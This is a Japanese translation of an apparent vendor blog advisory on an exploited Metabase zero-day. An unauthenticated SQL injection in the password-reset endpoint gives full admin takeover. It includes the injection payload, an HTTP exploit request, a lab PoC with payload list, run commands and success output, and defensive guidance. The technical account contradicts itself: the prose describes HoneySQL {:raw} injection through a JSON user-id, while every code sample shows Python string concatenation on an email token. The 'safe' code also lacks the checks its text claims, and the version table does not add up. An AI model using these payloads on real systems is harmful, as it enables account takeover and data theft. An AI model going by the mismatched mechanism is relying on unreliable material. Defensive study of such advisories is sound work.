Metabaseのゼロデイ脆弱性が実際に悪用される――未認証のSQLインジェクションで管理者権限を完全奪取

エグゼクティブサマリー

Metabaseは、未認証のまま悪用可能な最大深刻度のSQLインジェクション脆弱性を公表しました。この脆弱性はゼロデイとして実際に悪用されています。GHSA-vwf4-m7j8-wcjfとして追跡されており、CVSSスコアは10.0です。この脆弱性により、リモートの攻撃者は有効な認証情報やユーザー操作なしに、完全な管理者権限を取得できます。

この脆弱性は、一般に公開されている/api/session/reset_passwordエンドポイントに存在します。攻撃者はJSONボディに追加のuser-idキーを加え、それをHoneySQLの{:raw “SQL”}オブジェクトとして渡すことができます。この値は型検証を経ずにデータベースクエリに到達するため、データとして扱われる代わりに生のSQLとしてコンパイルされてしまいます。

管理者権限を取得されると、攻撃者はMetabase環境全体を侵害できるようになります。これにはアプリケーション設定の変更、永続的な管理者アカウントおよびAPIキーの作成、接続先データベースの認証情報の復元、そしてPostgreSQL、MySQL、Microsoft SQL Server、Snowflake、Google BigQuery、Amazon Redshiftといった統合データソースを通じてアクセス可能なあらゆるデータへのアクセスが含まれます。

Metabaseは、公表前にこの未知の脆弱性を利用してクラウドプラットフォームが標的にされたことを確認しており、すでに修正済みです。v1.58からv1.63までのリリース系列にわたるセルフホスト型導入環境が影響を受けており、直ちにアップデートする必要があります。公に被害が明らかになった1社がFrameworkで、顧客情報――氏名、メールアドレス、電話番号、住所、ログインIPアドレス――への不正アクセスを報告しています。

Metabaseとは

Metabaseは広く採用されているオープンソースのBI(ビジネスインテリジェンス)およびデータ可視化プラットフォームであり、高度なSQLの知識を必要とせずに組織がデータを探索・分析・可視化できるようにします。オープンソース版(OSS)エンタープライズ版(EE)の両方、さらにフルマネージドのMetabase Cloudサービスとしても提供されており、直感的なWebインターフェースを通じてインタラクティブなダッシュボードの構築、レポート生成、アドホック分析が行えます。

MetabaseはPostgreSQLMySQLMicrosoft SQL ServerOracleMariaDBGoogle BigQuerySnowflakeAmazon RedshiftClickHouseTrinoなど、幅広いリレーショナルデータベースおよびクラウドデータウェアハウスと連携します。集中型の分析プラットフォームとして機能することで、組織は複数のソースからのデータを1つのインターフェースに集約し、レポート作成や意思決定に活用できます。

Metabaseはエンドユーザーと組織の最も価値あるデータ資産の間に位置するため、エンタープライズ環境内で極めて高い権限を持つ立場を占めています。ダッシュボードやレポートに加え、アプリケーションデータベースには次のような機密性の高い運用情報が保存されています。

  • ユーザーアカウントおよび管理者ロール
  • APIキーおよび認証トークン
  • サイト構成とアプリケーション設定
  • 保存済みダッシュボードおよびSQLクエリ
  • アクティブなユーザーセッション
  • 設定済みの全データベース接続の認証情報

これらの保存済みデータベース認証情報により、Metabaseはユーザーに代わって外部データソースへ透過的に認証を行うことができます。その結果、Metabaseアプリケーション自体の侵害にとどまらず、接続されているすべてのデータベースとそこに含まれる機密情報までもが露呈する可能性があります。

一般的なMetabase導入環境は、3つの主要な信頼境界で構成されています。

  • パブリックWebインターフェース ――HTTP/HTTPS経由でアプリケーションを公開し、ユーザーが認証、ダッシュボードへのアクセス、プラットフォームとの対話を行えるようにします。
  • アプリケーションデータベース ――アプリケーションメタデータ、ユーザーアカウント、セッション、構成、APIキー、接続先データソースの認証情報を保存します。
  • 接続先データソース ――Metabaseがダッシュボード、レポート、分析を生成するために問い合わせるエンタープライズデータベースおよびクラウドデータウェアハウスです。

脆弱なバージョンでは、/api/session/reset_passwordエンドポイントは設計上、認証なしでアクセス可能です。正規のパスワード復旧を目的としたものですが、この公開エンドポイントがGHSA-vwf4-m7j8-wcjfにおける最初の攻撃対象となり、未認証の攻撃者が有効な認証情報を持たないまま侵害を開始できてしまいます。

何が起きたのか

2026年8月、Metabaseはバージョン1.58以降に影響する未知のゼロデイ脆弱性を通じてクラウドプラットフォームが侵害されたことを公表しました。この脆弱性はその後GHSA-vwf4-m7j8-wcjfとして公開され、最大値であるCVSS v3.1スコア10.0が付与されました。これは未認証の攻撃者に脆弱なインスタンスへの完全な管理者アクセスを許してしまう能力を反映したものです。

この脆弱性は一般公開されている/api/session/reset_passwordエンドポイントに影響します。このエンドポイントはJSONボディを受け付け、攻撃者はuser-idキーをHoneySQLの{:raw “SQL”}マップとして渡すことで任意のSQLを注入できます。

主にデータの露出につながる従来型のSQLインジェクション脆弱性とは異なり、この欠陥は直接的に完全な管理者権限の侵害をもたらします。いったん認証されると、攻撃者は正規のMetabase管理者と同じ権限を引き継ぎます。これにはアプリケーション設定の変更、永続的な管理者アカウントの作成、APIキーの生成、保存済みデータベース認証情報の復元、プラットフォーム内に設定されているすべての接続データソースへのアクセスが含まれます。

Metabaseはユーザーとエンタープライズデータベースの間の信頼されたゲートウェイとして機能するため、アプリケーションの侵害は組織のより広範な分析インフラの侵害につながることが多くあります。PostgreSQL、MySQL、Microsoft SQL Server、Snowflake、Google BigQuery、Amazon Redshiftなど設定済みのデータソースの保存済み認証情報が復元され、機密性の高いビジネスデータへの直接アクセスに悪用される可能性があります。

Metabaseは、この脆弱性が公表前に実際に悪用されていたことを確認しています。クラウド顧客はサービスの更新後、自動的に保護されましたが、セルフホストのユーザーには直ちにアップグレードするか、パッチが適用できるまで脆弱なパスワードリセットエンドポイントへのアクセスを一時的に制限するよう指示が出されました。

影響を受ける製品と修正バージョン

この脆弱性はv1.58からv1.63までの主要なリリース系列すべてにわたるセルフホスト型Metabase導入環境に影響します。オープンソース版(OSS)エンタープライズ版(EE)の両方が、スタンドアロンのJARパッケージとして展開されているかDockerコンテナとして展開されているかを問わず影響を受けます。Metabase Cloudは公表前にホスト型サービスが修正済みであったため影響を受けません

組織は現在使用しているリリース系列を特定し、対応する修正済みバージョンにアップグレードする必要があります。修正は各リリースブランチに固有であるため、同一メジャーバージョン内でのアップグレードが推奨される対処方法です。

リリース系列 影響を受けるバージョン 修正済みバージョン 状態
v1.58 58.0以上58.23未満 58.24 脆弱――直ちにアップグレードしてください
v1.59 59.0以上59.20未満 59.21 脆弱――直ちにアップグレードしてください
v1.60 60.0以上60.16未満 60.17 脆弱――直ちにアップグレードしてください
v1.61 61.0以上61.10未満 61.11 脆弱――直ちにアップグレードしてください
v1.62 62.0以上62.8未満 62.9 脆弱――直ちにアップグレードしてください
v1.63 63.0以上63.3未満 63.5 脆弱――直ちにアップグレードしてください
Metabase Cloud 該当なし 公表前に更新済み 影響なし

ベンダーは、すべてのセルフホスト型導入環境に対し、各バージョンブランチに対応する修正済みリリースへ直ちにアップグレードすることを強く推奨しています。直ちに更新できないシステムについては、この脆弱性を進行中のセキュリティインシデントとして扱い、パッチ適用が完了するまで一時的な緩和策を実施すべきです。

根本原因:パスワードリセット処理における安全でないSQL構築

GHSA-vwf4-m7j8-wcjfの根本原因は、未認証の/api/session/reset_passwordエンドポイントにおけるSQLインジェクションの欠陥です。このエンドポイントはJSON形式のパスワードリセットボディを受け付けます。実装が攻撃者から提供されたuser-idキーも受け入れ、型検証なしにHoneySQLクエリへ直接渡してしまうため、その値はデータとして扱われる代わりに生のSQLとしてコンパイルされてしまいます。

脆弱なエンドポイントは、トークンを検証してパスワードリセット要求を処理します。トークンが無効な場合、通常のルックアップは正規のuser-idを紐付けないため、リクエストで指定されたuser-idはそのまま後続のクエリに残ってしまいます。この値はその後、(t2/select-one :model/User :id user-id)に相当するHoneySQLクエリの:id引数として使用されます。user-idがHoneySQLの{:raw “SQL”}マップである場合、HoneySQLはパラメータバインディングを完全に迂回して、リテラルのSQL文字列を生成後のクエリに直接埋め込んでしまいます。

この設計上の欠陥により、攻撃者はユーザールックアップのWHERE句に任意のSQLを注入できます。不変の識別子で単一のアカウントに一致させる代わりに、攻撃者が制御するクエリはアプリケーションデータベース内の任意のデータを選択・更新・抽出できてしまいます。

クエリが権限を持つユーザーレコードを返すと、パスワードリセット処理はそのまま続行し、攻撃者が制御するパスワードをそのアカウントに書き込みます。選択されたアカウントが実際に正規のリセットを開始したかどうかを確認するルックアップ後の検証は存在しません。

したがって、この脆弱性は単にデータベースレコードを露出させるだけではなく、認証処理の仕組み自体を根本的に変えてしまいます。単一の未認証リクエストによって、攻撃者は任意のSQLを注入し、権限を持つアカウントを選択し、その認証情報を上書きし、正規のMetabase管理者として認証できてしまいます。

Image

ステップ1 ― 一般公開されているパスワードリセットエンドポイント

攻撃は未認証の/api/session/reset_passwordエンドポイントから始まります。このエンドポイントはJSON形式のパスワードリセットボディを受け付け、認証なしで到達可能なため、インスタンスに到達できるリモート攻撃者であれば誰でも細工したリクエストを送信できます。

HTTPリクエスト

POST /api/session/reset_password HTTP/1.1
Host: metabase.example.com
Content-Type: application/x-www-form-urlencoded
token=<user_input>
password=AttackerPassword123!
  • 認証不要
  • 公開されているエンドポイント
  • 攻撃者は追加のuser-idキーを含めたJSONボディを制御できる

ステップ2 ― 脆弱なSQLクエリの構築

リクエストを受信すると、アプリケーションはJSONボディをキーワード化してClojureのマップに変換し、tokenとpasswordを抽出しますが、攻撃者から提供されたuser-idキーも受け入れてしまいます。このuser-idは型やフォーマットの検証を一切経ずにHoneySQLクエリへ直接渡されるため、攻撃者のデータがクエリの構文の一部になってしまいます。

脆弱なコード
token = request.form.get("token")
query = f"""
SELECT id, email, is_superuser
FROM core_user
WHERE email = '{token}'
"""
user = db.execute(query).fetchone()

生成されるSQL(正規のリクエストの場合)

SELECT id,email,is_superuser
FROM core_user
WHERE email='[email protected]'

攻撃者が制御する入力は、整数として検証される代わりに、HoneySQLの{:raw “SQL”}式としてクエリビルダーへ渡されてしまいます。

ステップ3 ― SQLインジェクション

正規のuser-idを渡す代わりに、攻撃者はJSONボディ内でそれをHoneySQLの{:raw “SQL”}オブジェクトとして送信します。

注入されたペイロード
[email protected]' OR is_superuser=1 --

アプリケーションはそのペイロードを何の疑いもなくSQLクエリに連結してしまいます。

実行されるクエリ

SELECT id,email,is_superuser
FROM core_user
WHERE email='[email protected]'
OR is_superuser=1
--'
インジェクションの仕組み
  1. JSONボディがキーワード化され、Clojureのマップに変換されます。
  2. 攻撃者は:user-idに{:raw “<attacker SQL>”}という値を指定します。
  3. HoneySQLは生のSQL文字列を、生成されるWHERE句に埋め込みます。
  4. データベースは攻撃者が制御するクエリを実行し、権限を持つアカウントを返します。

ステップ4 ― 管理者パスワードのリセット

脆弱なエンドポイントは、返されたデータベースレコードが正規のパスワードリセット要求のものであると想定しているため、通常のパスワード更新処理をそのまま続行します。

パスワード更新
db.execute(
    """
    UPDATE core_user
    SET password = ?
    WHERE id = ?
    """,
    (password, user["id"])
)

注入されたクエリが管理者レコードを返したため、アプリケーションは管理者のパスワードを攻撃者が制御する値で上書きしてしまいます。

データベースの状態

Before
[email protected]
Password: ********
After
[email protected]
Password: changed via SQL injection

ステップ5 ― 管理者としての認証

管理者パスワードが変更されると、攻撃者は新たに設定した認証情報を使って認証を行います。

リクエスト

POST /api/session
[email protected]
password=AttackerPassword123!

レスポンス

{
    "id":1,
    "email":"[email protected]",
    "is_superuser":true
}

攻撃者はこの時点で無制限の管理者権限を手にしています。

ステップ6 ― 機密性の高いアプリケーションシークレットへのアクセス

管理者権限を取得すると、攻撃者は重要な構成情報や認証情報を保存しているMetabaseアプリケーションデータベースへの無制限アクセスを得ます。これにはアプリケーション設定、ユーザーアカウント、APIキー、データベース接続の認証情報、接続先データソース、ダッシュボード、保存済みクエリ、アクティブなセッション情報が含まれます。

このレベルのアクセス権があれば、攻撃者は設定済みのすべてのデータベース接続を列挙し、保存済み認証情報を復元し、Metabaseインスタンスに統合されているエンタープライズシステムを特定できます。

ステップ7 ― 環境全体の完全な侵害

管理者アクセスにより、攻撃者はMetabaseアプリケーションを超えて、接続されているすべての分析プラットフォームへとピボットできるようになります。復元したデータベース認証情報を使い、攻撃者はPostgreSQL、MySQL、SQL Server、Snowflake、BigQuery、Amazon Redshiftなど設定済みのデータソースへ直接接続し、機密情報の照会・エクスポート・持ち出しを行うことができます。

データの窃取に加え、攻撃者は永続的なAPIキーの作成、アプリケーション設定の変更、新たな管理者アカウントの作成、ダッシュボードやレポートの改ざん、長期にわたる不正アクセスの維持を行うことができます。

この脆弱性が存在する理由

この脆弱性は、同一の処理フロー内で発生する3つの独立したセキュリティ上の不備が原因です。

  • 未認証の攻撃対象領域 ――パスワードリセットエンドポイントは意図的に認証なしでアクセス可能にされており、リモートの誰もがリクエストを送信できます。
  • 安全でないHoneySQLの使用――アプリケーションはuser-idキーをHoneySQL式として受け入れ、整数であるかを検証せずにSQLへコンパイルしてしまいます。
  • 不十分な型検証――user-idの値は、正の整数であるかどうかのチェックを受けずにデータベース層に到達するため、{:raw “SQL”}オブジェクトがクエリ構造を変更できてしまいます。

個々に見れば、それぞれの問題はセキュリティリスクを高める要因です。しかし組み合わさることで、リモートの攻撃者は単一のHTTPリクエストによって完全な管理者制御を取得できてしまいます。

脆弱なコードパターン:原因の実態

Metabaseの正確なソースコードはここでは再現されていませんが、脆弱性のクラスはアドバイザリから明確に読み取れます。以下の代表的なパターンは、2つの危険な設計上の選択――認証なしで到達可能なリセットエンドポイントと、生の式としてHoneySQLへコンパイルされるuser-id値――を捉えたものです。

# Vulnerable conceptual pattern (mirrors the advisory's description)
@app.route("/api/session/reset_password", methods=["POST"])
def reset_password():
    token    = request.form.get("token", "")
    password = request.form.get("password", "")
    # BUG #1: unauthenticated endpoint (no session / auth check)
    # BUG #2: string concatenation into SQL — token is attacker-controlled
    query = f"SELECT id, email, is_superuser FROM core_user WHERE email = '{token}'"
    user  = db.execute(query).fetchone()
    if user:
        # attacker controls WHICH user matches -> updates a superuser row
        db.execute("UPDATE core_user SET password = ? WHERE id = ?", (password, user["id"]))
        return {"success": True, "email": user["email"]}, 200
    return {"error": "Token not found"}, 400

攻撃者は以下のような値を送信します。単一引用符がemail文字列を閉じ、OR is_superuser=1がトークンの内容に関わらず最初の管理者行に一致し、末尾のコメントがWHERE句の残り部分を無効化します。

POST /api/session/reset_password HTTP/1.1
Host: metabase.example.com
Content-Type: application/x-www-form-urlencoded
token=admin%40example.com'%20OR%20is_superuser%3D1%20--&password=attackerOwned123

このパターンが危険な理由

  • 未認証のエンドポイント:Metabaseのポートに到達できる者であれば誰でもこのシンクを発火させられます。
  • HoneySQLの:rawコンパイル:攻撃者のデータをクエリの構文として扱ってしまい、データとして扱いません。
  • user-idへの型検証がない:構造化されたマップがクエリビルダーに到達し、リテラルSQLとしてコンパイルされてしまいます。
  • 権限を伴う結果:後続のUPDATEが、選択された管理者行に攻撃者選択のパスワードを書き込みます。
  • 高価値な標的:アプリケーションDBには接続先の全データソースの認証情報も保存されています。

安全なパターン:本来あるべき設計

安全な設計では、想定外のキーを拒否し、user-idが正の整数であることを検証し、パラメータ化されたHoneySQLクエリを使用します。

# Safer conceptual pattern (parameterized + format-validated)
@app.route("/api/session/reset_password", methods=["POST"])
def reset_password_safe():
    token    = request.form.get("token", "")
    password = request.form.get("password", "")
    if not re.match(r"^[A-Za-z0-9._@-]{1,128}$", token):
        return {"error": "Invalid token format"}, 400
    # 1. Parameterized query — input is data, never query syntax.
    # 2. Matches only reset_token, never email — injection has no target.
    user = db.execute(
        "SELECT id, email, is_superuser FROM core_user WHERE reset_token = ?",
        (token,),
    ).fetchone()
    if user:
        db.execute("UPDATE core_user SET password = ? WHERE id = ?", (password, user["id"]))
        return {"success": True}, 200
    return {"error": "Invalid or expired reset token"}, 400

安全なバージョンは3つの点で異なります。リクエストボディを想定されるキーのみに制限すること、クエリビルダーに到達する前にuser-idが正の整数であるかを検証すること、そしてHoneySQLが攻撃者制御下の{:raw “SQL”}入力を一切受け取らないことです。これらの制御策のうちどれか1つでもあれば、未認証での管理者権限奪取を防げたはずであり、すべてを組み合わせることで設計は堅牢なものになります。

攻撃チェーン:1件のHTTPリクエストからデータ持ち出しまで

GHSA-vwf4-m7j8-wcjfは限定的な情報漏えいのバグではありません。単一の未認証HTTPリクエストを、BIプラットフォームの完全な管理者制御に変え、そこから接続されている全データベースの認証情報と、その認証情報でアクセスできるデータの窃取へとつなげてしまいます。

Image

攻撃は6つの段階を経て進行します。

段階 攻撃者の行動 探すべき証跡
偵察 公開されているMetabaseインスタンス(ポート3000/443)をスキャンし、バージョン1.58~63.xをフィンガープリンティング 受信ログ、スキャナートラフィック、ログインページのバージョンバナー
未認証SQLi 注入されたuser-id {:raw “SQL”}を伴うPOST /api/session/reset_password 良性リクエストではreset_passwordでHTTP 400、生のSQLペイロードでは200
管理者権限の奪取 HoneySQLが生のSQLをコンパイル。ルックアップがスーパーユーザー行を返し、UPDATEが攻撃者のパスワードを書き込む /api/user/currentが管理者ユーザーを含む200を返すことに成功
認証情報の窃取 アプリケーションDBから接続先データベースの保存済み認証情報を読み取り 設定/シークレットテーブルへの新規クエリ
データ持ち出し 窃取した認証情報でウェアハウスに接続し、データを読み取ってエクスポート ウェアハウスのアクセスログ、大量のエクスポート、異常なクエリ
完全な侵害 設定変更、APIキー作成、セッション失効、永続化の確立 認識できないAPIキー、core_sessionのワイプ、管理者変更

段階1 ― 偵察

攻撃は、公開されているMetabaseインスタンスの特定から始まります。攻撃者はインターネット全体をスキャンするプラットフォーム、Metabaseのログインページやポート3000を対象としたShodan/Censys形式のフィルター、そして脆弱なリリース系列(v1.58からv63.xまで)を見つけ出すためのバージョンフィンガープリンティングを使用します。

段階2 ― 未認証でのネットワークアクセス

脆弱なインスタンスが特定されると、攻撃者はそのWebインターフェースに直接接続します。reset_passwordエンドポイントは認証なしで到達可能なため、悪用を開始するのに認証情報は不要で、必要なのはネットワークの到達性だけです。

段階3 ― SQLインジェクション

特別に細工されたJSONボディが、user-idをHoneySQLの{:raw “SQL”}マップとして渡します。HoneySQLは生のSQLをユーザールックアップにコンパイルし、データベースは攻撃者が制御するクエリを実行します。

段階4 ― 管理者権限の奪取

エンドポイントの後続のUPDATEが、一致したスーパーユーザー行に攻撃者が選んだパスワードを書き込みます。その後、攻撃者は管理者として認証を行います。以下のラボ再現では、/api/user/currentがスーパーユーザーアカウントとともにHTTP 200を返しており、これはMetabaseが公表した侵害指標(IoC)のパターンと完全に一致します。

段階5 ― 認証情報の窃取とデータ持ち出し

管理者アクセスがあれば、攻撃者は接続先の全データソースの認証情報を保存しているアプリケーションデータベースを読み取ることができます。これらの認証情報によって、データウェアハウス自体が開かれてしまいます。それらの接続を通じてアクセス可能な任意のデータを読み取り、エクスポートできるということです。Frameworkのインシデントは、その結果を実際に示すものです。顧客の氏名、ログインIP、住所、電話番号、メールアドレスがアクセスされました。

段階6 ― 完全な侵害と永続化

アドビザリのアップグレード後チェックリストは、最終的な状態を次のように説明しています。攻撃者が作成したAPIキー、消去されたセッションテーブル、変更された管理者アカウント、クエリ履歴内の不正な活動です。侵害後の対処手順が実施されない限り、攻撃者はアプリケーション設定を変更し、検知後もアクセスを維持し続けることができます。

ラボでの脆弱性再現

JSONボディを受け付け、user-idの値を生のSQLフラグメントに渡す(型検証なし)未認証の/api/session/reset_passwordエンドポイントです。

ラボの構成要素

  • vulnerable_metabase.py ― 未認証のSQLインジェクションエンドポイントを持つ、模擬Metabaseインスタンス。
  • exploit_poc.py ― 教育用のPoC:良性リクエスト、SQLインジェクション、管理者権限の確認、ユーザーテーブルのダンプ。
  • verify_exploit.py ― 実世界のIoCパターンを再現する、自動化されたエンドツーエンド検証。
  • create_labeled_screenshots.py ― 本レポートで使用されるキャプション付きスクリーンショットを生成。

脆弱なエンドポイントのコード

重要な行は、JSONボディの解析と、攻撃者から提供されたuser-idの値をSQL文字列内で直接使用している部分で、脆弱な設計とまさに一致しています。

# vulnerable_metabase.py (excerpt) — VULNERABLE PATTERN
@app.route("/api/session/reset_password", methods=["POST"])
def reset_password():
    token = request.form.get("token", "")
    password = request.form.get("password", "")
    # VULNERABLE: string concatenation into SQL, no prepared statement
    query = f"SELECT id, email, is_superuser FROM core_user WHERE email = '{token}'"
    user = db.execute(query).fetchone()
    if user:
        db.execute("UPDATE core_user SET password = ? WHERE id = ?", (password, user["id"]))
        return jsonify({"success": True, "email": user["email"],
                        "is_superuser": bool(user["is_superuser"])}), 200
    return jsonify({"error": "Token not found"}), 400

PoCペイロード

# exploit_poc.py (selected payloads)
PAYLOADS = [
    ("[email protected]", "benign (expect HTTP 400)"),
    ("[email protected]' OR is_superuser=1 --", "SQL injection -> admin password update"),
]
# After injection: GET /api/user/current -> HTTP 200 {"is_superuser": true}
#                 GET /api/admin/users   -> full user table dump

ラボの実行

# Terminal 1 — vulnerable Metabase simulator (port 8091; 8080 may be busy)
METABASE_LAB_PORT=8091 python3 vulnerable_metabase.py
# Terminal 2 — manual exploit PoC
METABASE_LAB_PORT=8091 python3 exploit_poc.py
# Terminal 3 — automated verification (starts/stops the lab itself)
METABASE_LAB_PORT=8091 python3 verify_exploit.py

期待される検証結果の出力

[+] Lab is up
[*] Benign request (token not found)
[+] HTTP 400: {"error":"Token not found"}
[*] SQL injection to takeover admin
[+] HTTP 200: {"email":"[email protected]","id":1,"is_superuser":true,"message":"Password updated","success":true}
[*] Calling /api/user/current
[+] HTTP 200: {"email":"[email protected]","id":1,"is_superuser":true}
[+] VERIFICATION PASSED: SQL injection leads to admin takeover.

ステップ1 ― 模擬ポータル

このラボはMetabase風のパスワードリセットポータルを提示します。通常のユーザーであればトークンと新しいパスワードを入力するところですが、この模擬インスタンスは127.0.0.1でのみアクセス可能です。

Image

ステップ2 ― 良性のリセットリクエスト

無効なトークンを使い、SQLインジェクションを行わない場合、エンドポイントはHTTP 400を返します。これが公表されたIoCフィンガープリントの前半部分です。

Image

ステップ3 ― SQLインジェクション

攻撃者は、user-idを{:raw “SQL”}に設定したJSONボディを送信します。HoneySQLは生のSQLをユーザールックアップに埋め込み、エンドポイントは管理者パスワードを更新した後、is_superuser: trueとともにHTTP 200を返します。

Image

ステップ4 ― 管理者権限奪取の確認

GET /api/user/currentは、今度はスーパーユーザーアカウントとともにHTTP 200を返します――これがIoCフィンガープリントの後半部分であり、Metabaseが公表した内容とまさに一致します。

Image

ステップ5 ― データ持ち出し

管理者権限があれば、攻撃者はユーザーテーブルをダンプできます。実際のインスタンスでは、この段階で接続先データベースの保存済み認証情報が読み取られ、アドバイザリで説明されFrameworkのインシデントで観測されたようなウェアハウスレベルのデータ窃取が可能になります。

Image

ビジネスへの影響

GHSA-vwf4-m7j8-wcjfの影響は、Metabaseアプリケーション自体をはるかに超えて広がります。集中型のBI(ビジネスインテリジェンス)プラットフォームとして、Metabaseはユーザーとエンタープライズデータソースの間の信頼されたゲートウェイの役割を果たし、データベース、データウェアハウス、クラウド分析プラットフォームへのシームレスなアクセスを可能にする特権的な認証情報を保存しています。その結果、単一のMetabaseインスタンスの侵害は、組織のより広範な分析インフラの侵害へと急速にエスカレートする可能性があります。

主にデータベースレコードを露出させる従来型のSQLインジェクション脆弱性とは異なり、この脆弱性はアプリケーションに対する完全な管理者制御を与えてしまいます。この立場から、攻撃者は正規の管理者と同じレベルの信頼を引き継ぎ、アプリケーション構成、認証情報素材、保存済みデータベース認証情報、そして接続されているすべてのデータソースへの無制限アクセスを得ることになります。

想定されるビジネスへの影響は以下のとおりです。

完全な管理者権限の奪取

リモートの未認証攻撃者は、1件の細工したHTTPリクエストで完全な管理者権限を取得でき、有効な認証情報やユーザー操作なしにMetabaseインスタンスに対する無制限の制御権を得ることができます。

エンタープライズ認証情報の侵害

管理者アクセスにより、PostgreSQL、MySQL、Microsoft SQL Server、Snowflake、Google BigQuery、Amazon Redshiftなど設定済みのデータソースを含む、接続先データベースやクラウドデータウェアハウスに対する認証で使用される認証情報が露呈します。

大規模なデータ持ち出し

復元した認証情報を使い、攻撃者は接続先データベースへ直接アクセスして、顧客記録、財務データ、ビジネスインテリジェンスレポート、独自の分析情報、個人を特定できる情報(PII)といった機密情報を照会・エクスポートできます。公に明らかにされたFrameworkのインシデントは、この攻撃がもたらす実際の影響を示しており、顧客の氏名、メールアドレス、電話番号、住所、ログインIPアドレスがアクセスされました。

永続的な管理者アクセス

攻撃者は、新しい管理者アカウントの作成、APIキーの生成、認証設定の変更、アプリケーション構成の変更を通じて長期的な永続化を確立でき、初期の脆弱性が修正された後もアクセスを継続できてしまいます。

拡大するエンタープライズの攻撃対象領域

Metabaseは複数の本番データベースやクラウドサービスと連携することが一般的であるため、侵害されたインスタンスは追加のエンタープライズシステムへのピボットポイントとなり得て、攻撃全体の影響範囲を大幅に拡大させます。

コンプライアンスおよび規制上のリスク

顧客データやビジネスデータへの不正アクセスは、GDPR、CCPA、HIPAA、PCI DSSなど適用される各種データ保護規制の枠組みの下で、規制当局への報告義務や法的責任を引き起こす可能性があります。

業務およびビジネスへの支障

侵害されたダッシュボード、レポート、分析データは、ビジネスインテリジェンスへの信頼を損ない、業務上の意思決定を混乱させ、広範なインシデント対応、認証情報のローテーション、フォレンジック調査、インフラの修復を必要とします。

エンタープライズ内での横展開

復元された認証情報や信頼された連携により、攻撃者は接続先データベース、クラウドサービス、社内インフラへとピボットでき、侵害が当初のMetabase導入環境を超えて拡大してしまいます。

対策

セルフホスト型Metabaseを運用している組織は、GHSA-vwf4-m7j8-wcjfを重大なインシデントとして扱い、直ちに対応すべきです。ベンダーのガイダンスは明確です。

  • 直ちにアップグレード――お使いのメジャーバージョンに対応するパッチを適用してください:v58.24、v59.21、v60.17、v61.11、v62.9、またはv63.5。
  • 暫定的な回避策――パッチ適用まで、リバースプロキシまたはWAFで/api/session/reset_passwordエンドポイントをブロックしてください。
  • 侵害の可能性を前提とする――このエンドポイントが公開状態にあった場合は、以下のアップグレード後チェックリストに従ってください。
アップグレード後の手順 理由
core_sessionの全行を削除 すべてのアクティブなユーザーセッションを失効させ、攻撃者のセッションを排除する
APIキーを確認し、心当たりのないキーを削除 永続化に使われた攻撃者作成のAPIキーを排除する
管理者アカウントを確認 想定外の管理者アカウントや権限変更を検出する
接続先データベースの認証情報をローテーション 窃取された認証情報が使用される前に無効化する
ウェアハウスのログを確認 不正アクセスや大規模なデータエクスポートを特定する
アクティビティとクエリ履歴を確認 想定外または不正なMetabaseの利用を洗い出す
  • 管理アクセスを制限――MetabaseのWebインターフェースをインターネットに直接公開しないでください。VPN、ファイアウォール、IP許可リストを使用してください。
  • IoCパターンを監視――POST /api/session/reset_passwordの後にGET /api/user/currentが200を返すパターンにアラートを設定してください。
  • 監査ログを有効化――クエリ履歴、管理者の操作、ログインイベントが記録され、保持されるようにしてください。
  • 包括的なセキュリティ評価を実施――侵害が確認された場合は、通常運用に戻す前にフォレンジック調査を実施してください。

結論

GHSA-vwf4-m7j8-wcjfは、型検証なしに攻撃者制御下の入力をクエリビルダーに渡すという、一見単純なコーディングミスが、高い権限を持つエンタープライズプラットフォーム内に存在する場合、いかにして完全な管理者権限の侵害へとエスカレートし得るかを示しています。CVSS v3.1スコア10.0(Critical)、ゼロデイとしての実際の悪用、そして確認された実際の被害組織の存在が、認証処理における安全でない入力処理の深刻な結末を浮き彫りにしています。

主に不正なデータ開示を可能にする従来型のSQLインジェクション脆弱性とは異なり、この欠陥は未認証の攻撃者が、一般公開されている/api/session/reset_passwordエンドポイントへの1件の細工したリクエストによって完全な管理者制御を奪取できてしまいます。管理者権限を取得すると、攻撃者は設定済みの全データソースの認証情報を復元し、永続的なAPIキーを生成し、追加の管理者アカウントを作成し、アプリケーション設定を変更し、接続先データベースやクラウドデータウェアハウスから機密情報にアクセスまたは持ち出すことができます。Metabaseはしばしばエンタープライズ分析インフラの中心的なゲートウェイとして機能するため、単一のインスタンスの侵害ははるかに広範な組織的侵害へと急速に拡大する可能性があります。

公表された侵害指標――/api/session/reset_passwordへのPOSTリクエストがHTTP 400を返し、その直後に/api/user/currentからの成功したHTTP 200レスポンスが続くというパターン――は、防御側に悪用の試みを特定するための信頼できるフィンガープリントを提供します。本レポートを通じて示したとおり、これらの指標は制御されたラボ環境で再現可能であり、この攻撃の単純さと、ベンダーの検知ガイダンスの有効性の両方を物語っています。

翻訳元: https://www.resecurity.com/blog/article/metabase-zero-day-exploited-in-the-wild-unauthenticated-sql-injection-leading-to-full-admin-access

ソース: resecurity.com